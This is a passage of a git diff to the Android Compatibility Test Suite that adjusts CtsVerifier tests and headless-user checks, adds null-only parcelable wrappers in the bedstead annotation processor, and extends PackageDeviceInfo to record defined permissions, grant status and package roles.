+ new Intent(Settings.ACTION_USER_SETTINGS)),
+ new ButtonInfo(R.string.enterprise_privacy_set_organization,
+ createSetOrganizationNameIntent())}));
+ }
+
adapter.add(createTestItem(this, CHECK_AFFILIATED_PROFILE_OWNER_TEST_ID,
R.string.managed_user_check_managed_user_test,
new Intent(ACTION_CHECK_AFFILIATED_PROFILE_OWNER)
@@ -185,10 +199,8 @@ public class ManagedUserPositiveTestActivity extends PassFailButtons.TestListAct
adapter.add(createTestItem(this, POLICY_TRANSPARENCY_TEST_ID,
R.string.device_profile_owner_policy_transparency_test,
policyTransparencyTestIntent));
-
}
-
static TestListItem createTestItem(Activity activity, String id, int titleRes,
Intent intent) {
intent.putExtra(EXTRA_TEST_ID, id);
@@ -200,4 +212,9 @@ public class ManagedUserPositiveTestActivity extends PassFailButtons.TestListAct
// general test for that. TODO: add a test API to do a real check for status bar support.
return !getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
}
+
+ private Intent createSetOrganizationNameIntent() {
+ return new Intent(CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)
+ .putExtra(CommandReceiverActivity.EXTRA_ORGANIZATION_NAME, "Foo, Inc.");
+ }
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java b/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java
index 23477c294f8..bcc8ce973ad 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java
@@ -139,7 +139,8 @@ public class WidgetCtsProvider extends AppWidgetProvider {
&& sSDKLevel < android.os.Build.VERSION_CODES.JELLY_BEAN_MR1) {
return false;
}
- return true;
+ // TODO: revert when b/228227212 is fixed (underlying cause of b/204831731)
+ return false;
}
@Override
diff --git a/apps/VpnApp/Android.bp b/apps/VpnApp/Android.bp
index 898f4bdf91b..55ef022080a 100644
--- a/apps/VpnApp/Android.bp
+++ b/apps/VpnApp/Android.bp
@@ -49,6 +49,7 @@ android_test_helper_app {
manifest: "latest/AndroidManifest.xml",
test_suites: [
"cts",
+ "gts",
"general-tests",
],
}
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java
index 0f333073476..218610eaf54 100644
--- a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java
@@ -120,7 +120,7 @@ public final class TestAppSystemServiceFactory {
}
private static void assertHasRequiredReceiver(Context context) {
- if (!UserManager.isHeadlessSystemUserMode()) return;
+ if (!Utils.isHeadlessSystemUserMode()) return;
String packageName = context.getPackageName();
Boolean hasIt = sHasRequiredReceiver.get(packageName);
@@ -226,7 +226,7 @@ public final class TestAppSystemServiceFactory {
assertHasRequiredReceiver(context);
int userId = context.getUserId();
- if (userId == UserHandle.USER_SYSTEM || !UserManager.isHeadlessSystemUserMode()) {
+ if (userId == UserHandle.USER_SYSTEM || !Utils.isHeadlessSystemUserMode()) {
Log.i(TAG, "get(): returning 'pure' DevicePolicyManager for user " + userId);
return manager;
}
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java
index 03b896321ac..57289de5355 100644
--- a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java
@@ -19,6 +19,7 @@ import android.app.ActivityManager;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
+import android.os.Build;
import android.os.Bundle;
import android.os.Handler;
import android.os.HandlerThread;
@@ -61,12 +62,17 @@ public final class Utils {
@GuardedBy("LOCK")
private static Handler sHandler;
+ static boolean isHeadlessSystemUserMode() {
+ return Build.VERSION.SDK_INT >= Build.VERSION_CODES.S
+ && UserManager.isHeadlessSystemUserMode();
+ }
+
static boolean isHeadlessSystemUser() {
- return UserManager.isHeadlessSystemUserMode() && MY_USER_ID == UserHandle.USER_SYSTEM;
+ return isHeadlessSystemUserMode() && MY_USER_ID == UserHandle.USER_SYSTEM;
}
static boolean isCurrentUserOnHeadlessSystemUser(Context context) {
- return UserManager.isHeadlessSystemUserMode()
+ return isHeadlessSystemUserMode()
&& context.getSystemService(UserManager.class).isUserForeground();
}
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java
index d93ff7e3ac7..465ceb66db2 100644
--- a/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java
@@ -276,12 +276,10 @@ public final class Processor extends AbstractProcessor {
// AccountManager
// Uses Activity
- "public android.accounts.AccountManagerFuture<android.os.Bundle> addAccount(String, String, String[], android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
"public android.accounts.AccountManagerFuture<android.os.Bundle> finishSession(android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
"public android.accounts.AccountManagerFuture<android.os.Bundle> editProperties(String, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
"public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
"public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthTokenByFeatures(String, String, String[], android.app.Activity, android.os.Bundle, android.os.Bundle, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
- "public android.accounts.AccountManagerFuture<android.os.Bundle> removeAccount(android.accounts.Account, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
"public android.accounts.AccountManagerFuture<android.os.Bundle> startAddAccountSession(String, String, String[], android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
"public android.accounts.AccountManagerFuture<android.os.Bundle> startUpdateCredentialsSession(android.accounts.Account, String, android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
"public android.accounts.AccountManagerFuture<android.os.Bundle> updateCredentials(android.accounts.Account, String, android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
@@ -295,7 +293,6 @@ public final class Processor extends AbstractProcessor {
// Uses AccountManagerCallback
"public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
"public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, android.os.Bundle, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
- "public android.accounts.AccountManagerFuture<android.os.Bundle> addAccount(String, String, String[], android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
"public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
"public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, android.os.Bundle, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
"public android.os.Bundle hasFeatures(android.accounts.Account, String[], android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
@@ -304,7 +301,6 @@ public final class Processor extends AbstractProcessor {
"public android.accounts.AccountManagerFuture<java.lang.Boolean> hasFeatures(android.accounts.Account, String[], android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
"public android.os.Bundle isCredentialsUpdateSuggested(android.accounts.AccountAuthenticatorResponse, android.accounts.Account, String) throws android.accounts.NetworkErrorException",
"public android.accounts.AccountManagerFuture<java.lang.Boolean> isCredentialsUpdateSuggested(android.accounts.Account, String, android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
- "public android.accounts.AccountManagerFuture<java.lang.Boolean> removeAccount(android.accounts.Account, android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
"public android.accounts.AccountManagerFuture<android.accounts.Account> renameAccount(android.accounts.Account, @Size(min=1) String, android.accounts.AccountManagerCallback<android.accounts.Account>, android.os.Handler)",
// Uses android.accounts.AccountManager
@@ -641,6 +637,18 @@ public final class Processor extends AbstractProcessor {
private static final ClassName NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME =
ClassName.get("com.android.bedstead.remoteframeworkclasses",
"NullParcelableRemoteContentResolver");
+
+ // TODO(b/205562849): These only support passing null, which is fine for existing tests but will be misleading
+ private static final ClassName NULL_PARCELABLE_ACTIVITY_CLASSNAME =
+ ClassName.get("com.android.bedstead.remoteframeworkclasses",
+ "NullParcelableActivity");
+ private static final ClassName NULL_PARCELABLE_ACCOUNT_MANAGER_CALLBACK_CLASSNAME =
+ ClassName.get("com.android.bedstead.remoteframeworkclasses",
+ "NullParcelableAccountManagerCallback");
+ private static final ClassName NULL_HANDLER_CALLBACK_CLASSNAME =
+ ClassName.get("com.android.bedstead.remoteframeworkclasses",
+ "NullParcelableHandler");
+
private static final ClassName COMPONENT_NAME_CLASSNAME =
ClassName.get("android.content", "ComponentName");
@@ -678,6 +686,9 @@ public final class Processor extends AbstractProcessor {
private void generateWrappers() {
generateWrapper(NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME);
generateWrapper(NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME);
+ generateWrapper(NULL_PARCELABLE_ACTIVITY_CLASSNAME);
+ generateWrapper(NULL_PARCELABLE_ACCOUNT_MANAGER_CALLBACK_CLASSNAME);
+ generateWrapper(NULL_HANDLER_CALLBACK_CLASSNAME);
}
private void generateWrapper(ClassName className) {
@@ -761,9 +772,8 @@ public final class Processor extends AbstractProcessor {
classBuilder.addAnnotation(AnnotationSpec.builder(CrossUser.class)
- .addMember("parcelableWrappers", "{$T.class, $T.class}",
- NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME,
- NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME)
+ .addMember("parcelableWrappers", "{$T.class, $T.class, $T.class, $T.class, $T.class}",
+ NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME, NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME, NULL_PARCELABLE_ACTIVITY_CLASSNAME, NULL_PARCELABLE_ACCOUNT_MANAGER_CALLBACK_CLASSNAME, NULL_HANDLER_CALLBACK_CLASSNAME)
.addMember("futureWrappers", "$T.class",
ACCOUNT_MANAGE_FUTURE_WRAPPER_CLASSNAME)
.build());
@@ -815,9 +825,8 @@ public final class Processor extends AbstractProcessor {
TypeSpec.classBuilder(className).addModifiers(Modifier.FINAL, Modifier.PUBLIC);
classBuilder.addAnnotation(AnnotationSpec.builder(CrossUser.class)
- .addMember("parcelableWrappers", "{$T.class, $T.class}",
- NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME,
- NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME)
+ .addMember("parcelableWrappers", "{$T.class, $T.class, $T.class, $T.class, $T.class}",
+ NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME, NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME, NULL_PARCELABLE_ACTIVITY_CLASSNAME, NULL_PARCELABLE_ACCOUNT_MANAGER_CALLBACK_CLASSNAME, NULL_HANDLER_CALLBACK_CLASSNAME)
.build());
classBuilder.addField(ClassName.get(frameworkClass),
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableAccountManagerCallback.java.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableAccountManagerCallback.java.txt
new file mode 100644
index 00000000000..4984775bfe8
--- /dev/null
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableAccountManagerCallback.java.txt
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remoteframeworkclasses;
+
+import android.accounts.AccountManagerCallback;
+import android.os.Parcel;
+import android.os.Parcelable;
+
+import com.google.android.enterprise.connectedapps.annotations.CustomParcelableWrapper;
+import com.google.android.enterprise.connectedapps.internal.Bundler;
+import com.google.android.enterprise.connectedapps.internal.BundlerType;
+
+/**
+ * This parcelable wrapper just passes null to callers.
+ *
+ * <p>It is not functional and only enables use of {@link AccountManagerCallback} for clients
+ * which do not need to actually use the {@link AccountManagerCallback} param or return value.
+ */
+@CustomParcelableWrapper(originalType = AccountManagerCallback.class)
+public final class NullParcelableAccountManagerCallback<F> implements Parcelable {
+
+ /**
+ * Create a wrapper for a given {@link AccountManagerCallback}.
+ */
+ public static <F> NullParcelableAccountManagerCallback of(
+ Bundler bundler, BundlerType type,
+ AccountManagerCallback<F> accountManagerCallback) {
+
+ if (accountManagerCallback != null) {
+ throw new IllegalArgumentException("accountManagerCallback can only be null");
+ }
+
+ return new NullParcelableAccountManagerCallback<F>();
+ }
+
+ private NullParcelableAccountManagerCallback() {
+ }
+
+ public AccountManagerCallback<F> get() {
+ return null;
+ }
+
+ @Override
+ public void writeToParcel(Parcel dest, int flags) {
+ }
+
+ @Override
+ public int describeContents() {
+ return 0;
+ }
+
+ @SuppressWarnings("rawtypes")
+ public static final Creator<NullParcelableAccountManagerCallback> CREATOR =
+ new Creator<NullParcelableAccountManagerCallback>() {
+ @Override
+ public NullParcelableAccountManagerCallback createFromParcel(Parcel in) {
+ return new NullParcelableAccountManagerCallback();
+ }
+
+ @Override
+ public NullParcelableAccountManagerCallback[] newArray(int size) {
+ return new NullParcelableAccountManagerCallback[size];
+ }
+ };
+} \ No newline at end of file
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableActivity.java.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableActivity.java.txt
new file mode 100644
index 00000000000..6000472908a
--- /dev/null
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableActivity.java.txt
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remoteframeworkclasses;
+
+import android.app.Activity;
+import android.os.Parcel;
+import android.os.Parcelable;
+
+import com.google.android.enterprise.connectedapps.annotations.CustomParcelableWrapper;
+import com.google.android.enterprise.connectedapps.internal.Bundler;
+import com.google.android.enterprise.connectedapps.internal.BundlerType;
+
+/**
+ * This parcelable wrapper just passes null to callers.
+ *
+ * <p>It is not functional and only enables use of {@link Activity} for clients
+ * which do not need to actually use the {@link Activity} param or return value.
+ */
+@CustomParcelableWrapper(originalType = Activity.class)
+public final class NullParcelableActivity implements Parcelable {
+
+ /**
+ * Create a wrapper for a given {@link Activity}.
+ */
+ public static <F> NullParcelableActivity of(
+ Bundler bundler, BundlerType type,
+ Activity activity) {
+
+ if (activity != null) {
+ throw new IllegalArgumentException("activity can only be null");
+ }
+
+ return new NullParcelableActivity();
+ }
+
+ private NullParcelableActivity() {
+ }
+
+ public Activity get() {
+ return null;
+ }
+
+ @Override
+ public void writeToParcel(Parcel dest, int flags) {
+ }
+
+ @Override
+ public int describeContents() {
+ return 0;
+ }
+
+ @SuppressWarnings("rawtypes")
+ public static final Creator<NullParcelableActivity> CREATOR =
+ new Creator<NullParcelableActivity>() {
+ @Override
+ public NullParcelableActivity createFromParcel(Parcel in) {
+ return new NullParcelableActivity();
+ }
+
+ @Override
+ public NullParcelableActivity[] newArray(int size) {
+ return new NullParcelableActivity[size];
+ }
+ };
+} \ No newline at end of file
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableHandler.java.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableHandler.java.txt
new file mode 100644
index 00000000000..92692ade81f
--- /dev/null
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableHandler.java.txt
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remoteframeworkclasses;
+
+import android.os.Handler;
+import android.os.Parcel;
+import android.os.Parcelable;
+
+import com.google.android.enterprise.connectedapps.annotations.CustomParcelableWrapper;
+import com.google.android.enterprise.connectedapps.internal.Bundler;
+import com.google.android.enterprise.connectedapps.internal.BundlerType;
+
+/**
+ * This parcelable wrapper just passes null to callers.
+ *
+ * <p>It is not functional and only enables use of {@link Handler} for clients
+ * which do not need to actually use the {@link Handler} param or return value.
+ */
+@CustomParcelableWrapper(originalType = Handler.class)
+public final class NullParcelableHandler implements Parcelable {
+
+ /**
+ * Create a wrapper for a given {@link Handler}.
+ */
+ public static <F> NullParcelableHandler of(
+ Bundler bundler, BundlerType type,
+ Handler handler) {
+
+ if (handler != null) {
+ throw new IllegalArgumentException("handler can only be null");
+ }
+
+ return new NullParcelableHandler();
+ }
+
+ private NullParcelableHandler() {
+ }
+
+ public Handler get() {
+ return null;
+ }
+
+ @Override
+ public void writeToParcel(Parcel dest, int flags) {
+ }
+
+ @Override
+ public int describeContents() {
+ return 0;
+ }
+
+ @SuppressWarnings("rawtypes")
+ public static final Creator<NullParcelableHandler> CREATOR =
+ new Creator<NullParcelableHandler>() {
+ @Override
+ public NullParcelableHandler createFromParcel(Parcel in) {
+ return new NullParcelableHandler();
+ }
+
+ @Override
+ public NullParcelableHandler[] newArray(int size) {
+ return new NullParcelableHandler[size];
+ }
+ };
+} \ No newline at end of file
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteDevicePolicyManager.java.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteDevicePolicyManager.java.txt
index 22217a3d388..7225c75464b 100644
--- a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteDevicePolicyManager.java.txt
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteDevicePolicyManager.java.txt
@@ -39,6 +39,11 @@ public final class NullParcelableRemoteDevicePolicyManager implements Parcelable
public static <F> NullParcelableRemoteDevicePolicyManager of(
Bundler bundler, BundlerType type,
RemoteDevicePolicyManager remoteDevicePolicyManager) {
+
+ if (remoteDevicePolicyManager != null) {
+ throw new IllegalArgumentException("remoteDevicePolicyManager can only be null");
+ }
+
return new NullParcelableRemoteDevicePolicyManager();
}
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
index 32e41a17fdc..fbff1c4d817 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
@@ -15,8 +15,10 @@
*/
package com.android.compatibility.common.deviceinfo;
+import android.Manifest;
import android.annotation.TargetApi;
import android.app.admin.DevicePolicyManager;
+import android.app.role.RoleManager;
import android.content.ComponentName;
import android.content.Context;
import android.content.pm.ApplicationInfo;
@@ -25,12 +27,16 @@ import android.content.pm.PackageManager;
import android.content.pm.PermissionInfo;
import android.os.Build;
import android.os.Process;
+
import com.android.compatibility.common.util.DeviceInfoStore;
import com.android.compatibility.common.util.PackageUtil;
+import static com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity;
+
import java.io.IOException;
import java.util.ArrayList;
import java.util.Arrays;
+import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
@@ -42,7 +48,8 @@ import java.util.Set;
public class PackageDeviceInfo extends DeviceInfo {
private static final String PLATFORM = "android";
- private static final String PLATFORM_PERMISSION_PREFIX = "android.";
+ private static final String PLATFORM_ANDROID_PERMISSION_PREFIX = "android.permission.";
+ private static final String PLATFORM_MANIFEST_PERMISSION_PREFIX = "android.Manifest.permission.";
private static final String PACKAGE = "package";
private static final String NAME = "name";
@@ -53,17 +60,23 @@ public class PackageDeviceInfo extends DeviceInfo {
private static final String TARGET_SDK = "target_sdk";
private static final String REQUESTED_PERMISSIONS = "requested_permissions";
+ private static final String DEFINED_PERMISSIONS = "defined_permissions";
private static final String PERMISSION_NAME = "name";
private static final String PERMISSION_FLAGS = "flags";
private static final String PERMISSION_GROUP = "permission_group";
private static final String PERMISSION_PROTECTION = "protection_level";
private static final String PERMISSION_PROTECTION_FLAGS = "protection_level_flags";
+ private static final String PERMISSION_IS_GRANTED = "is_granted";
+
private static final String PERMISSION_TYPE = "type";
private static final int PERMISSION_TYPE_SYSTEM = 1;
private static final int PERMISSION_TYPE_OEM = 2;
private static final int PERMISSION_TYPE_CUSTOM = 3;
+ private static final String REQUESTED_ROLES = "requested_roles";
+ private static final String ROLE_NAME = "name";
+
private static final String HAS_SYSTEM_UID = "has_system_uid";
private static final String SHARES_INSTALL_PERMISSION = "shares_install_packages_permission";
@@ -82,6 +95,21 @@ public class PackageDeviceInfo extends DeviceInfo {
private static final String CONFIG_ACCESSIBILITY_SERVICE = "config_defaultAccessibilityService";
private static final String DEFAULT_ACCESSIBILITY_SERVICE = "is_default_accessibility_service";
+ private static final HashSet<String> ADDITIONAL_ANDROID_PERMISSIONS = new HashSet<>(Arrays.asList(new String[] {
+ "com.android.voicemail.permission.ADD_VOICEMAIL",
+ "com.android.voicemail.permission.WRITE_VOICEMAIL",
+ "com.android.voicemail.permission.READ_VOICEMAIL",
+ "com.android.browser.permission.READ_HISTORY_BOOKMARKS",
+ "com.android.browser.permission.WRITE_HISTORY_BOOKMARKS",
+ "com.android.alarm.permission.SET_ALARM",
+ "com.android.launcher.permission.INSTALL_SHORTCUT",
+ "com.android.launcher.permission.UNINSTALL_SHORTCUT",
+ "com.android.permission.INSTALL_EXISTING_PACKAGES",
+ "com.android.permission.USE_INSTALLER_V2",
+ "com.android.permission.USE_SYSTEM_DATA_LOADERS",
+ "android.intent.category.MASTER_CLEAR.permission.C2D_MESSAGE"
+ }));
+
@Override
protected void collectDeviceInfo(DeviceInfoStore store) throws Exception {
@@ -96,6 +124,8 @@ public class PackageDeviceInfo extends DeviceInfo {
final ComponentName defaultAccessibilityComponent = getDefaultAccessibilityComponent();
+ final HashMap<String, List<String>> packageRolesData = getPackageRolesData();
+
// Platform permission data used to tag permissions information with sourcing information
final PackageInfo platformInfo = pm.getPackageInfo(PLATFORM , PackageManager.GET_PERMISSIONS);
final Set<String> platformPermissions = new HashSet<String>();
@@ -109,7 +139,9 @@ public class PackageDeviceInfo extends DeviceInfo {
store.addResult(NAME, pkg.packageName);
store.addResult(VERSION_NAME, pkg.versionName);
- collectPermissions(store, pm, platformPermissions, pkg);
+ collectRequestedPermissions(store, pm, platformPermissions, pkg);
+ collectDefinedPermissions(store, platformPermissions, pkg);
+
collectionApplicationInfo(store, pm, pkg);
store.addResult(HAS_DEFAULT_NOTIFICATION_ACCESS,
@@ -131,12 +163,14 @@ public class PackageDeviceInfo extends DeviceInfo {
String sha256_file = PackageUtil.computePackageFileDigest(pkg);
store.addResult(SHA256_FILE, sha256_file);
+ collectRoles(store, packageRolesData, pkg);
+
store.endGroup();
}
store.endArray(); // "package"
}
- private static void collectPermissions(DeviceInfoStore store,
+ private static void collectRequestedPermissions(DeviceInfoStore store,
PackageManager pm,
Set<String> systemPermissions,
PackageInfo pkg) throws IOException
@@ -150,20 +184,11 @@ public class PackageDeviceInfo extends DeviceInfo {
final PermissionInfo pi = pm.getPermissionInfo(permission, 0);
store.startGroup();
- store.addResult(PERMISSION_NAME, permission);
- writePermissionsDetails(pi, store);
-
- final boolean isPlatformPermission = systemPermissions.contains(permission);
- if (isPlatformPermission) {
- final boolean isAndroidPermission = permission.startsWith(PLATFORM_PERMISSION_PREFIX);
- if (isAndroidPermission) {
- store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_SYSTEM);
- } else {
- store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_OEM);
- }
- } else {
- store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_CUSTOM);
- }
+ writePermissionsDetails(pi, store, systemPermissions);
+
+ boolean isGranted = pm.checkPermission(
+ permission, pkg.packageName) == pm.PERMISSION_GRANTED;
+ store.addResult(PERMISSION_IS_GRANTED, isGranted);
store.endGroup();
} catch (PackageManager.NameNotFoundException e) {
@@ -174,6 +199,27 @@ public class PackageDeviceInfo extends DeviceInfo {
store.endArray();
}
+ private static void collectDefinedPermissions(DeviceInfoStore store,
+ Set<String> systemPermissions,
+ PackageInfo pkg) throws IOException {
+ if (pkg.permissions != null && pkg.permissions.length > 0) {
+ store.startArray(DEFINED_PERMISSIONS);
+ for (PermissionInfo permission : pkg.permissions) {
+ if (permission == null) continue;
+ // Ignore "android" package defined AOSP permissions.
+ if (pkg.packageName.equals(PLATFORM)
+ && isAndroidPermission(permission.name))
+ continue;
+
+ store.startGroup();
+ writePermissionsDetails(permission, store, systemPermissions);
+ store.endGroup();
+
+ }
+ store.endArray();
+ }
+ }
+
private static void collectionApplicationInfo(DeviceInfoStore store,
PackageManager pm,
PackageInfo pkg) throws IOException {
@@ -225,8 +271,12 @@ public class PackageDeviceInfo extends DeviceInfo {
return sharedPermissions.contains(PackageDeviceInfo.INSTALL_PACKAGES_PERMISSION);
}
- private static void writePermissionsDetails(PermissionInfo pi, DeviceInfoStore store)
- throws IOException {
+ private static void writePermissionsDetails(PermissionInfo pi,
+ DeviceInfoStore store,
+ Set<String> systemPermissions) throws IOException {
+ final String permissionName = pi.name;
+ store.addResult(PERMISSION_NAME, permissionName);
+
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR1) {
store.addResult(PERMISSION_FLAGS, pi.flags);
} else {
@@ -244,6 +294,18 @@ public class PackageDeviceInfo extends DeviceInfo {
store.addResult(PERMISSION_PROTECTION_FLAGS,
pi.protectionLevel & ~PermissionInfo.PROTECTION_MASK_BASE);
}
+
+ final boolean isPlatformPermission = systemPermissions.contains(permissionName);
+ if (isPlatformPermission) {
+ final boolean isAndroidPermission = isAndroidPermission(permissionName);
+ if (isAndroidPermission) {
+ store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_SYSTEM);
+ } else {
+ store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_OEM);
+ }
+ } else {
+ store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_CUSTOM);
+ }
}
private Set<String> getActiveDeviceAdminPackages() {
@@ -291,5 +353,55 @@ public class PackageDeviceInfo extends DeviceInfo {
.getResources()
.getIdentifier(name, type, "android");
}
+
+ /** Return a boolean value to whether the permission is an android permission defined by android package */
+ private static boolean isAndroidPermission(String permissionName) {
+ if(permissionName.startsWith(PLATFORM_ANDROID_PERMISSION_PREFIX)
+ || permissionName.startsWith(PLATFORM_MANIFEST_PERMISSION_PREFIX)
+ || ADDITIONAL_ANDROID_PERMISSIONS.contains(permissionName))
+ return true;
+ return false;
+ }
+
+ private static void collectRoles(DeviceInfoStore store,
+ HashMap<String, List<String>> packageRolesData,
+ PackageInfo pkg) throws IOException {
+ String packageName = pkg.packageName;
+ if(packageRolesData.containsKey(packageName)) {
+ List<String> roleNames = packageRolesData.get(packageName);
+
+ store.startArray(REQUESTED_ROLES);
